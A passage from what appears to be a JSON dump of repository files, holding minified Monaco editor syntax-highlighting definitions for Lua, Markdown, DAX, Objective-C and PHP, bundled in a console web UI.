)\\\\}]\",\"@brackets\",\"@pop\"],[\"[{}()\\\\[\\\\]>]\",\"@brackets\"],[\"[;]\",\"delimiter\",\"@pop\"],[\"[,=:]\",\"delimiter\"],[\"\\\\s\",\"\"],[\".\",\"attribute.value\"]],comments:[[\"\\\\/\\\\*\",\"comment\",\"@comment\"],[\"\\\\/\\\\/+.*\",\"comment\"]],comment:[[\"\\\\*\\\\/\",\"comment\",\"@pop\"],[\".\",\"comment\"]],numbers:[[\"(\\\\d*\\\\.)?\\\\d+([eE][\\\\-+]?\\\\d+)?\",{token:\"attribute.value.number\",next:\"@units\"}],[\"#[0-9a-fA-F_]+(?!\\\\w)\",\"attribute.value.hex\"]],units:[[\"(em|ex|ch|rem|vmin|vmax|vw|vh|vm|cm|mm|in|px|pt|pc|deg|grad|rad|turn|s|ms|Hz|kHz|%)?\",\"attribute.value.unit\",\"@pop\"]],strings:[['~?\"',{token:\"string.delimiter\",next:\"@stringsEndDoubleQuote\"}],[\"~?'\",{token:\"string.delimiter\",next:\"@stringsEndQuote\"}]],stringsEndDoubleQuote:[['\\\\\\\\\"',\"string\"],['\"',{token:\"string.delimiter\",next:\"@popall\"}],[\".\",\"string\"]],stringsEndQuote:[[\"\\\\\\\\'\",\"string\"],[\"'\",{token:\"string.delimiter\",next:\"@popall\"}],[\".\",\"string\"]],atRules:[{include:\"@comments\"},{include:\"@strings\"},[\"[()]\",\"delimiter\"],[\"[\\\\{;]\",\"delimiter\",\"@pop\"],[\".\",\"key\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/lua.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/lua\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"--\",blockComment:[\"--[[\",\"]]\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},n.language={defaultToken:\"\",tokenPostfix:\".lua\",keywords:[\"and\",\"break\",\"do\",\"else\",\"elseif\",\"end\",\"false\",\"for\",\"function\",\"goto\",\"if\",\"in\",\"local\",\"nil\",\"not\",\"or\",\"repeat\",\"return\",\"then\",\"true\",\"until\",\"while\"],brackets:[{token:\"delimiter.bracket\",open:\"{\",close:\"}\"},{token:\"delimiter.array\",open:\"[\",close:\"]\"},{token:\"delimiter.parenthesis\",open:\"(\",close:\")\"}],operators:[\"+\",\"-\",\"*\",\"/\",\"%\",\"^\",\"#\",\"==\",\"~=\",\"<=\",\">=\",\"<\",\">\",\"=\",\";\",\":\",\",\",\".\",\"..\",\"...\"],symbols:/[=><!~?:&|+\\-*\\/\\^%]+/,escapes:/\\\\(?:[abfnrtv\\\\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,tokenizer:{root:[[/[a-zA-Z_]\\w*/,{cases:{\"@keywords\":{token:\"keyword.$0\"},\"@default\":\"identifier\"}}],{include:\"@whitespace\"},[/(,)(\\s*)([a-zA-Z_]\\w*)(\\s*)(:)(?!:)/,[\"delimiter\",\"\",\"key\",\"\",\"delimiter\"]],[/({)(\\s*)([a-zA-Z_]\\w*)(\\s*)(:)(?!:)/,[\"@brackets\",\"\",\"key\",\"\",\"delimiter\"]],[/[{}()\\[\\]]/,\"@brackets\"],[/@symbols/,{cases:{\"@operators\":\"delimiter\",\"@default\":\"\"}}],[/\\d*\\.\\d+([eE][\\-+]?\\d+)?/,\"number.float\"],[/0[xX][0-9a-fA-F_]*[0-9a-fA-F]/,\"number.hex\"],[/\\d+?/,\"number\"],[/[;,.]/,\"delimiter\"],[/\"([^\"\\\\]|\\\\.)*$/,\"string.invalid\"],[/'([^'\\\\]|\\\\.)*$/,\"string.invalid\"],[/\"/,\"string\",'@string.\"'],[/'/,\"string\",\"@string.'\"]],whitespace:[[/[ \\t\\r\\n]+/,\"\"],[/--\\[([=]*)\\[/,\"comment\",\"@comment.$1\"],[/--.*$/,\"comment\"]],comment:[[/[^\\]]+/,\"comment\"],[/\\]([=]*)\\]/,{cases:{\"$1==$S2\":{token:\"comment\",next:\"@pop\"},\"@default\":\"comment\"}}],[/./,\"comment\"]],string:[[/[^\\\\\"']+/,\"string\"],[/@escapes/,\"string.escape\"],[/\\\\./,\"string.escape.invalid\"],[/[\"']/,{cases:{\"$#==$S2\":{token:\"string\",next:\"@pop\"},\"@default\":\"string\"}}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/markdown.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/markdown\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=\"attribute.name.html\";t.conf={comments:{blockComment:[\"\\x3c!--\",\"--\\x3e\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:\"<\",close:\">\",notIn:[\"string\"]}],surroundingPairs:[{open:\"(\",close:\")\"},{open:\"[\",close:\"]\"},{open:\"`\",close:\"`\"}]},t.language={defaultToken:\"\",tokenPostfix:\".md\",control:/[\\\\`*_\\[\\]{}()#+\\-\\.!]/,noncontrol:/[^\\\\`*_\\[\\]{}()#+\\-\\.!]/,escapes:/\\\\(?:@control)/,jsescapes:/\\\\(?:[btnfr\\\\\"']|[0-7][0-7]?|[0-3][0-7]{2})/,empty:[\"area\",\"base\",\"basefont\",\"br\",\"col\",\"frame\",\"hr\",\"img\",\"input\",\"isindex\",\"link\",\"meta\",\"param\"],tokenizer:{root:[[/^(\\s{0,3})(#+)((?:[^\\\\#]|@escapes)+)((?:#+)?)/,[\"white\",\"keyword\",\"keyword\",\"keyword\"]],[/^\\s*(=+|\\-+)\\s*$/,\"keyword\"],[/^\\s*((\\*[ ]?)+)\\s*$/,\"meta.separator\"],[/^\\s*>+/,\"comment\"],[/^\\s*([\\*\\-+:]|\\d+\\.)\\s/,\"keyword\"],[/^(\\t|[ ]{4})[^ ].*$/,\"string\"],[/^\\s*~~~\\s*((?:\\w|[\\/\\-#])+)?\\s*$/,{token:\"string\",next:\"@codeblock\"}],[/^\\s*```\\s*((?:\\w|[\\/\\-#])+)\\s*$/,{token:\"string\",next:\"@codeblockgh\",nextEmbedded:\"$1\"}],[/^\\s*```\\s*$/,{token:\"string\",next:\"@codeblock\"}],{include:\"@linecontent\"}],codeblock:[[/^\\s*~~~\\s*$/,{token:\"string\",next:\"@pop\"}],[/^\\s*```\\s*$/,{token:\"string\",next:\"@pop\"}],[/.*$/,\"variable.source\"]],codeblockgh:[[/```\\s*$/,{token:\"variable.source\",next:\"@pop\",nextEmbedded:\"@pop\"}],[/[^`]+/,\"variable.source\"]],linecontent:[[/&\\w+;/,\"string.escape\"],[/@escapes/,\"escape\"],[/\\b__([^\\\\_]|@escapes|_(?!_))+__\\b/,\"strong\"],[/\\*\\*([^\\\\*]|@escapes|\\*(?!\\*))+\\*\\*/,\"strong\"],[/\\b_[^_]+_\\b/,\"emphasis\"],[/\\*([^\\\\*]|@escapes)+\\*/,\"emphasis\"],[/`([^\\\\`]|@escapes)+`/,\"variable\"],[/\\{[^}]+\\}/,\"string.target\"],[/(!?\\[)((?:[^\\]\\\\]|@escapes)*)(\\]\\([^\\)]+\\))/,[\"string.link\",\"\",\"string.link\"]],[/(!?\\[)((?:[^\\]\\\\]|@escapes)*)(\\])/,\"string.link\"],{include:\"html\"}],html:[[/<(\\w+)\\/>/,\"tag\"],[/<(\\w+)/,{cases:{\"@empty\":{token:\"tag\",next:\"@tag.$1\"},\"@default\":{token:\"tag\",next:\"@tag.$1\"}}}],[/<\\/(\\w+)\\s*>/,{token:\"tag\"}],[/<!--/,\"comment\",\"@comment\"]],comment:[[/[^<\\-]+/,\"comment.content\"],[/-->/,\"comment\",\"@pop\"],[/<!--/,\"comment.content.invalid\"],[/[<\\-]/,\"comment.content\"]],tag:[[/[ \\t\\r\\n]+/,\"white\"],[/(type)(\\s*=\\s*)(\")([^\"]+)(\")/,[s,\"delimiter.html\",\"string.html\",{token:\"string.html\",switchTo:\"@tag.$S2.$4\"},\"string.html\"]],[/(type)(\\s*=\\s*)(')([^']+)(')/,[s,\"delimiter.html\",\"string.html\",{token:\"string.html\",switchTo:\"@tag.$S2.$4\"},\"string.html\"]],[/(\\w+)(\\s*=\\s*)(\"[^\"]*\"|'[^']*')/,[s,\"delimiter.html\",\"string.html\"]],[/\\w+/,s],[/\\/>/,\"tag\",\"@pop\"],[/>/,{cases:{\"$S2==style\":{token:\"tag\",switchTo:\"embeddedStyle\",nextEmbedded:\"text/css\"},\"$S2==script\":{cases:{$S3:{token:\"tag\",switchTo:\"embeddedScript\",nextEmbedded:\"$S3\"},\"@default\":{token:\"tag\",switchTo:\"embeddedScript\",nextEmbedded:\"text/javascript\"}}},\"@default\":{token:\"tag\",next:\"@pop\"}}}]],embeddedStyle:[[/[^<]+/,\"\"],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}],[/</,\"\"]],embeddedScript:[[/[^<]+/,\"\"],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}],[/</,\"\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/msdax.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/msdax\",[\"require\",\"exports\"],function(E,T){\"use strict\";Object.defineProperty(T,\"__esModule\",{value:!0}),T.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"[\",\"]\"],[\"(\",\")\"],[\"{\",\"}\"]],autoClosingPairs:[{open:'\"',close:'\"',notIn:[\"string\",\"comment\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]},{open:\"[\",close:\"]\",notIn:[\"string\",\"comment\"]},{open:\"(\",close:\")\",notIn:[\"string\",\"comment\"]},{open:\"{\",close:\"}\",notIn:[\"string\",\"comment\"]}]},T.language={defaultToken:\"\",tokenPostfix:\".msdax\",ignoreCase:!0,brackets:[{open:\"[\",close:\"]\",token:\"delimiter.square\"},{open:\"{\",close:\"}\",token:\"delimiter.brackets\"},{open:\"(\",close:\")\",token:\"delimiter.parenthesis\"}],keywords:[\"VAR\",\"RETURN\",\"NOT\",\"EVALUATE\",\"DATATABLE\",\"ORDER\",\"BY\",\"START\",\"AT\",\"DEFINE\",\"MEASURE\",\"ASC\",\"DESC\",\"IN\",\"BOOLEAN\",\"DOUBLE\",\"INTEGER\",\"DATETIME\",\"CURRENCY\",\"STRING\"],functions:[\"CLOSINGBALANCEMONTH\",\"CLOSINGBALANCEQUARTER\",\"CLOSINGBALANCEYEAR\",\"DATEADD\",\"DATESBETWEEN\",\"DATESINPERIOD\",\"DATESMTD\",\"DATESQTD\",\"DATESYTD\",\"ENDOFMONTH\",\"ENDOFQUARTER\",\"ENDOFYEAR\",\"FIRSTDATE\",\"FIRSTNONBLANK\",\"LASTDATE\",\"LASTNONBLANK\",\"NEXTDAY\",\"NEXTMONTH\",\"NEXTQUARTER\",\"NEXTYEAR\",\"OPENINGBALANCEMONTH\",\"OPENINGBALANCEQUARTER\",\"OPENINGBALANCEYEAR\",\"PARALLELPERIOD\",\"PREVIOUSDAY\",\"PREVIOUSMONTH\",\"PREVIOUSQUARTER\",\"PREVIOUSYEAR\",\"SAMEPERIODLASTYEAR\",\"STARTOFMONTH\",\"STARTOFQUARTER\",\"STARTOFYEAR\",\"TOTALMTD\",\"TOTALQTD\",\"TOTALYTD\",\"ADDCOLUMNS\",\"ADDMISSINGITEMS\",\"ALL\",\"ALLEXCEPT\",\"ALLNOBLANKROW\",\"ALLSELECTED\",\"CALCULATE\",\"CALCULATETABLE\",\"CALENDAR\",\"CALENDARAUTO\",\"CROSSFILTER\",\"CROSSJOIN\",\"CURRENTGROUP\",\"DATATABLE\",\"DETAILROWS\",\"DISTINCT\",\"EARLIER\",\"EARLIEST\",\"EXCEPT\",\"FILTER\",\"FILTERS\",\"GENERATE\",\"GENERATEALL\",\"GROUPBY\",\"IGNORE\",\"INTERSECT\",\"ISONORAFTER\",\"KEEPFILTERS\",\"LOOKUPVALUE\",\"NATURALINNERJOIN\",\"NATURALLEFTOUTERJOIN\",\"RELATED\",\"RELATEDTABLE\",\"ROLLUP\",\"ROLLUPADDISSUBTOTAL\",\"ROLLUPGROUP\",\"ROLLUPISSUBTOTAL\",\"ROW\",\"SAMPLE\",\"SELECTCOLUMNS\",\"SUBSTITUTEWITHINDEX\",\"SUMMARIZE\",\"SUMMARIZECOLUMNS\",\"TOPN\",\"TREATAS\",\"UNION\",\"USERELATIONSHIP\",\"VALUES\",\"SUM\",\"SUMX\",\"PATH\",\"PATHCONTAINS\",\"PATHITEM\",\"PATHITEMREVERSE\",\"PATHLENGTH\",\"AVERAGE\",\"AVERAGEA\",\"AVERAGEX\",\"COUNT\",\"COUNTA\",\"COUNTAX\",\"COUNTBLANK\",\"COUNTROWS\",\"COUNTX\",\"DISTINCTCOUNT\",\"DIVIDE\",\"GEOMEAN\",\"GEOMEANX\",\"MAX\",\"MAXA\",\"MAXX\",\"MEDIAN\",\"MEDIANX\",\"MIN\",\"MINA\",\"MINX\",\"PERCENTILE.EXC\",\"PERCENTILE.INC\",\"PERCENTILEX.EXC\",\"PERCENTILEX.INC\",\"PRODUCT\",\"PRODUCTX\",\"RANK.EQ\",\"RANKX\",\"STDEV.P\",\"STDEV.S\",\"STDEVX.P\",\"STDEVX.S\",\"VAR.P\",\"VAR.S\",\"VARX.P\",\"VARX.S\",\"XIRR\",\"XNPV\",\"DATE\",\"DATEDIFF\",\"DATEVALUE\",\"DAY\",\"EDATE\",\"EOMONTH\",\"HOUR\",\"MINUTE\",\"MONTH\",\"NOW\",\"SECOND\",\"TIME\",\"TIMEVALUE\",\"TODAY\",\"WEEKDAY\",\"WEEKNUM\",\"YEAR\",\"YEARFRAC\",\"CONTAINS\",\"CONTAINSROW\",\"CUSTOMDATA\",\"ERROR\",\"HASONEFILTER\",\"HASONEVALUE\",\"ISBLANK\",\"ISCROSSFILTERED\",\"ISEMPTY\",\"ISERROR\",\"ISEVEN\",\"ISFILTERED\",\"ISLOGICAL\",\"ISNONTEXT\",\"ISNUMBER\",\"ISODD\",\"ISSUBTOTAL\",\"ISTEXT\",\"USERNAME\",\"USERPRINCIPALNAME\",\"AND\",\"FALSE\",\"IF\",\"IFERROR\",\"NOT\",\"OR\",\"SWITCH\",\"TRUE\",\"ABS\",\"ACOS\",\"ACOSH\",\"ACOT\",\"ACOTH\",\"ASIN\",\"ASINH\",\"ATAN\",\"ATANH\",\"BETA.DIST\",\"BETA.INV\",\"CEILING\",\"CHISQ.DIST\",\"CHISQ.DIST.RT\",\"CHISQ.INV\",\"CHISQ.INV.RT\",\"COMBIN\",\"COMBINA\",\"CONFIDENCE.NORM\",\"CONFIDENCE.T\",\"COS\",\"COSH\",\"COT\",\"COTH\",\"CURRENCY\",\"DEGREES\",\"EVEN\",\"EXP\",\"EXPON.DIST\",\"FACT\",\"FLOOR\",\"GCD\",\"INT\",\"ISO.CEILING\",\"LCM\",\"LN\",\"LOG\",\"LOG10\",\"MOD\",\"MROUND\",\"ODD\",\"PERMUT\",\"PI\",\"POISSON.DIST\",\"POWER\",\"QUOTIENT\",\"RADIANS\",\"RAND\",\"RANDBETWEEN\",\"ROUND\",\"ROUNDDOWN\",\"ROUNDUP\",\"SIGN\",\"SIN\",\"SINH\",\"SQRT\",\"SQRTPI\",\"TAN\",\"TANH\",\"TRUNC\",\"BLANK\",\"CONCATENATE\",\"CONCATENATEX\",\"EXACT\",\"FIND\",\"FIXED\",\"FORMAT\",\"LEFT\",\"LEN\",\"LOWER\",\"MID\",\"REPLACE\",\"REPT\",\"RIGHT\",\"SEARCH\",\"SUBSTITUTE\",\"TRIM\",\"UNICHAR\",\"UNICODE\",\"UPPER\",\"VALUE\"],tokenizer:{root:[{include:\"@comments\"},{include:\"@whitespace\"},{include:\"@numbers\"},{include:\"@strings\"},{include:\"@complexIdentifiers\"},[/[;,.]/,\"delimiter\"],[/[({})]/,\"@brackets\"],[/[a-z_][a-zA-Z0-9_]*/,{cases:{\"@keywords\":\"keyword\",\"@functions\":\"keyword\",\"@default\":\"identifier\"}}],[/[<>=!%&+\\-*/|~^]/,\"operator\"]],whitespace:[[/\\s+/,\"white\"]],comments:[[/\\/\\/+.*/,\"comment\"],[/\\/\\*/,{token:\"comment.quote\",next:\"@comment\"}]],comment:[[/[^*/]+/,\"comment\"],[/\\*\\//,{token:\"comment.quote\",next:\"@pop\"}],[/./,\"comment\"]],numbers:[[/0[xX][0-9a-fA-F]*/,\"number\"],[/[$][+-]*\\d*(\\.\\d*)?/,\"number\"],[/((\\d+(\\.\\d*)?)|(\\.\\d+))([eE][\\-+]?\\d+)?/,\"number\"]],strings:[[/N\"/,{token:\"string\",next:\"@string\"}],[/\"/,{token:\"string\",next:\"@string\"}]],string:[[/[^\"]+/,\"string\"],[/\"\"/,\"string\"],[/\"/,{token:\"string\",next:\"@pop\"}]],complexIdentifiers:[[/\\[/,{token:\"identifier.quote\",next:\"@bracketedIdentifier\"}],[/'/,{token:\"identifier.quote\",next:\"@quotedIdentifier\"}]],bracketedIdentifier:[[/[^\\]]+/,\"identifier\"],[/]]/,\"identifier\"],[/]/,{token:\"identifier.quote\",next:\"@pop\"}]],quotedIdentifier:[[/[^']+/,\"identifier\"],[/''/,\"identifier\"],[/'/,{token:\"identifier.quote\",next:\"@pop\"}]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/objective-c.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/objective-c\",[\"require\",\"exports\"],function(e,n){\"use strict\";Object.defineProperty(n,\"__esModule\",{value:!0}),n.conf={comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}],surroundingPairs:[{open:\"{\",close:\"}\"},{open:\"[\",close:\"]\"},{open:\"(\",close:\")\"},{open:'\"',close:'\"'},{open:\"'\",close:\"'\"}]},n.language={defaultToken:\"\",tokenPostfix:\".objective-c\",keywords:[\"#import\",\"#include\",\"#define\",\"#else\",\"#endif\",\"#if\",\"#ifdef\",\"#ifndef\",\"#ident\",\"#undef\",\"@class\",\"@defs\",\"@dynamic\",\"@encode\",\"@end\",\"@implementation\",\"@interface\",\"@package\",\"@private\",\"@protected\",\"@property\",\"@protocol\",\"@public\",\"@selector\",\"@synthesize\",\"__declspec\",\"assign\",\"auto\",\"BOOL\",\"break\",\"bycopy\",\"byref\",\"case\",\"char\",\"Class\",\"const\",\"copy\",\"continue\",\"default\",\"do\",\"double\",\"else\",\"enum\",\"extern\",\"FALSE\",\"false\",\"float\",\"for\",\"goto\",\"if\",\"in\",\"int\",\"id\",\"inout\",\"IMP\",\"long\",\"nil\",\"nonatomic\",\"NULL\",\"oneway\",\"out\",\"private\",\"public\",\"protected\",\"readwrite\",\"readonly\",\"register\",\"return\",\"SEL\",\"self\",\"short\",\"signed\",\"sizeof\",\"static\",\"struct\",\"super\",\"switch\",\"typedef\",\"TRUE\",\"true\",\"union\",\"unsigned\",\"volatile\",\"void\",\"while\"],decpart:/\\d(_?\\d)*/,decimal:/0|@decpart/,tokenizer:{root:[{include:\"@comments\"},{include:\"@whitespace\"},{include:\"@numbers\"},{include:\"@strings\"},[/[,:;]/,\"delimiter\"],[/[{}\\[\\]()<>]/,\"@brackets\"],[/[a-zA-Z@#]\\w*/,{cases:{\"@keywords\":\"keyword\",\"@default\":\"identifier\"}}],[/[<>=\\\\+\\\\-\\\\*\\\\/\\\\^\\\\|\\\\~,]|and\\\\b|or\\\\b|not\\\\b]/,\"operator\"]],whitespace:[[/\\s+/,\"white\"]],comments:[[\"\\\\/\\\\*\",\"comment\",\"@comment\"],[\"\\\\/\\\\/+.*\",\"comment\"]],comment:[[\"\\\\*\\\\/\",\"comment\",\"@pop\"],[\".\",\"comment\"]],numbers:[[/0[xX][0-9a-fA-F]*(_?[0-9a-fA-F])*/,\"number.hex\"],[/@decimal((\\.@decpart)?([eE][\\-+]?@decpart)?)[fF]*/,{cases:{\"(\\\\d)*\":\"number\",$0:\"number.float\"}}]],strings:[[/'$/,\"string.escape\",\"@popall\"],[/'/,\"string.escape\",\"@stringBody\"],[/\"$/,\"string.escape\",\"@popall\"],[/\"/,\"string.escape\",\"@dblStringBody\"]],stringBody:[[/\\\\./,\"string\"],[/'/,\"string.escape\",\"@popall\"],[/.(?=.*')/,\"string\"],[/.*\\\\$/,\"string\"],[/.*$/,\"string\",\"@popall\"]],dblStringBody:[[/\\\\./,\"string\"],[/\"/,\"string.escape\",\"@popall\"],[/.(?=.*\")/,\"string\"],[/.*\\\\$/,\"string\"],[/.*$/,\"string\",\"@popall\"]]}}});"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/basic-languages/src/php.js",
    "content": "/*!-----------------------------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * monaco-languages version: 0.9.0(e162b4ba29044167bc7181c42b3270fa8a467424)\n * Released under the MIT license\n * https://github.com/Microsoft/monaco-languages/blob/master/LICENSE.md\n *-----------------------------------------------------------------------------*/\ndefine(\"vs/basic-languages/src/php\",[\"require\",\"exports\"],function(e,t){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.conf={wordPattern:/(-?\\d*\\.\\d\\w*)|([^\\`\\~\\!\\@\\#\\%\\^\\&\\*\\(\\)\\-\\=\\+\\[\\{\\]\\}\\\\\\|\\;\\:\\'\\\"\\,\\.\\<\\>\\/\\?\\s]+)/g,comments:{lineComment:\"//\",blockComment:[\"/*\",\"*/\"]},brackets:[[\"{\",\"}\"],[\"[\",\"]\"],[\"(\",\")\"]],autoClosingPairs:[{open:\"{\",close:\"}\",notIn:[\"string\"]},{open:\"[\",close:\"]\",notIn:[\"string\"]},{open:\"(\",close:\")\",notIn:[\"string\"]},{open:'\"',close:'\"',notIn:[\"string\"]},{open:\"'\",close:\"'\",notIn:[\"string\",\"comment\"]}]},t.language={defaultToken:\"\",tokenPostfix:\"\",tokenizer:{root:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.root\"}],[/<!DOCTYPE/,\"metatag.html\",\"@doctype\"],[/<!--/,\"comment.html\",\"@comment\"],[/(<)(\\w+)(\\/>)/,[\"delimiter.html\",\"tag.html\",\"delimiter.html\"]],[/(<)(script)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@script\"}]],[/(<)(style)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@style\"}]],[/(<)([:\\w]+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/(<\\/)(\\w+)/,[\"delimiter.html\",{token:\"tag.html\",next:\"@otherTag\"}]],[/</,\"delimiter.html\"],[/[^<]+/]],doctype:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.comment\"}],[/[^>]+/,\"metatag.content.html\"],[/>/,\"metatag.html\",\"@pop\"]],comment:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.comment\"}],[/-->/,\"comment.html\",\"@pop\"],[/[^-]+/,\"comment.content.html\"],[/./,\"comment.content.html\"]],otherTag:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.otherTag\"}],[/\\/?>/,\"delimiter.html\",\"@pop\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/]],script:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.script\"}],[/type/,\"attribute.name\",\"@scriptAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(script\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],scriptAfterType:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.scriptAfterType\"}],[/=/,\"delimiter\",\"@scriptAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptAfterTypeEquals:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.scriptAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@scriptWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.text/javascript\",nextEmbedded:\"text/javascript\"}],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptWithCustomType:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.scriptWithCustomType.$S2\"}],[/>/,{token:\"delimiter.html\",next:\"@scriptEmbedded.$S2\",nextEmbedded:\"$S2\"}],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/[ \\t\\r\\n]+/],[/<\\/script\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],scriptEmbedded:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInEmbeddedState.scriptEmbedded.$S2\",nextEmbedded:\"@pop\"}],[/<\\/script/,{token:\"@rematch\",next:\"@pop\",nextEmbedded:\"@pop\"}]],style:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.style\"}],[/type/,\"attribute.name\",\"@styleAfterType\"],[/\"([^\"]*)\"/,\"attribute.value\"],[/'([^']*)'/,\"attribute.value\"],[/[\\w\\-]+/,\"attribute.name\"],[/=/,\"delimiter\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/(<\\/)(style\\s*)(>)/,[\"delimiter.html\",\"tag.html\",{token:\"delimiter.html\",next:\"@pop\"}]]],styleAfterType:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.styleAfterType\"}],[/=/,\"delimiter\",\"@styleAfterTypeEquals\"],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ \\t\\r\\n]+/],[/<\\/style\\s*>/,{token:\"@rematch\",next:\"@pop\"}]],styleAfterTypeEquals:[[/<\\?((php)|=)?/,{token:\"@rematch\",switchTo:\"@phpInSimpleState.styleAfterTypeEquals\"}],[/\"([^\"]*)\"/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/'([^']*)'/,{token:\"attribute.value\",switchTo:\"@styleWithCustomType.$1\"}],[/>/,{token:\"delimiter.html\",next:\"@styleEmbedded.text/css\",nextEmbedded:\"text/css\"}],[/[ 